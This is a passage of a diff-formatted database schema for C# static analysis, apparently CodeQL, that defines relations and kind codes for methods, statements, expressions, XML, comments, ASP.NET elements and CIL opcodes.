| @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( 